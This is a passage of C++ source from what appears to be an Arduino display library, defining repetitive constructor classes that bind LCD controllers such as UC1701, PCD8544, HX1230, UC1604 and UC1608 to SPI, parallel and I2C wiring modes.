  u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_EA_DOGS102_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1701_EA_DOGS102_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_EA_DOGS102_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1701_EA_DOGS102_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_EA_DOGS102_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1701_EA_DOGS102_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_EA_DOGS102_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1701_EA_DOGS102_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1701_EA_DOGS102_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1701_EA_DOGS102_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1701_EA_DOGS102_6800 : public U8X8 {\n  public: U8X8_UC1701_EA_DOGS102_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_EA_DOGS102_8080 : public U8X8 {\n  public: U8X8_UC1701_EA_DOGS102_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_MINI12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1701_MINI12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_MINI12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1701_MINI12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_MINI12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1701_MINI12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_MINI12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1701_MINI12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1701_MINI12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1701_MINI12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1701_MINI12864_6800 : public U8X8 {\n  public: U8X8_UC1701_MINI12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1701_MINI12864_8080 : public U8X8 {\n  public: U8X8_UC1701_MINI12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_PCD8544_84X48_4W_SW_SPI : public U8X8 {\n  public: U8X8_PCD8544_84X48_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_PCD8544_84X48_4W_HW_SPI : public U8X8 {\n  public: U8X8_PCD8544_84X48_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_PCD8544_84X48_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_PCD8544_84X48_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_PCD8544_84X48_3W_SW_SPI : public U8X8 {\n  public: U8X8_PCD8544_84X48_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_PCD8544_84X48_3W_HW_SPI : public U8X8 {\n  public: U8X8_PCD8544_84X48_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_PCF8812_96X65_4W_SW_SPI : public U8X8 {\n  public: U8X8_PCF8812_96X65_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_PCF8812_96X65_4W_HW_SPI : public U8X8 {\n  public: U8X8_PCF8812_96X65_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_PCF8812_96X65_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_PCF8812_96X65_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_PCF8812_96X65_3W_SW_SPI : public U8X8 {\n  public: U8X8_PCF8812_96X65_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_PCF8812_96X65_3W_HW_SPI : public U8X8 {\n  public: U8X8_PCF8812_96X65_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_HX1230_96X68_4W_SW_SPI : public U8X8 {\n  public: U8X8_HX1230_96X68_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_HX1230_96X68_4W_HW_SPI : public U8X8 {\n  public: U8X8_HX1230_96X68_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_HX1230_96X68_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_HX1230_96X68_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_HX1230_96X68_3W_SW_SPI : public U8X8 {\n  public: U8X8_HX1230_96X68_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_HX1230_96X68_3W_HW_SPI : public U8X8 {\n  public: U8X8_HX1230_96X68_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1604_JLX19264_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1604_JLX19264_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1604_JLX19264_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1604_JLX19264_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1604_JLX19264_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_6800 : public U8X8 {\n  public: U8X8_UC1604_JLX19264_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_8080 : public U8X8 {\n  public: U8X8_UC1604_JLX19264_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_SW_I2C : public U8X8 {\n  public: U8X8_UC1604_JLX19264_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1604_JLX19264_HW_I2C : public U8X8 {\n  public: U8X8_UC1604_JLX19264_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1604_JLX19264_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1604_JLX19264_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC24064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC24064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC24064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC24064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC24064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_6800 : public U8X8 {\n  public: U8X8_UC1608_ERC24064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_8080 : public U8X8 {\n  public: U8X8_UC1608_ERC24064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_DEM240064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_DEM240064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_DEM240064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_DEM240064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_DEM240064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_6800 : public U8X8 {\n  public: U8X8_UC1608_DEM240064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_8080 : public U8X8 {\n  public: U8X8_UC1608_DEM240064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_SW_I2C : public U8X8 {\n  public: U8X8_UC1608_ERC24064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1608_ERC24064_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_ERC24064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1608_ERC24064_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_ERC24064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_SW_I2C : public U8X8 {\n  public: U8X8_UC1608_DEM240064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : 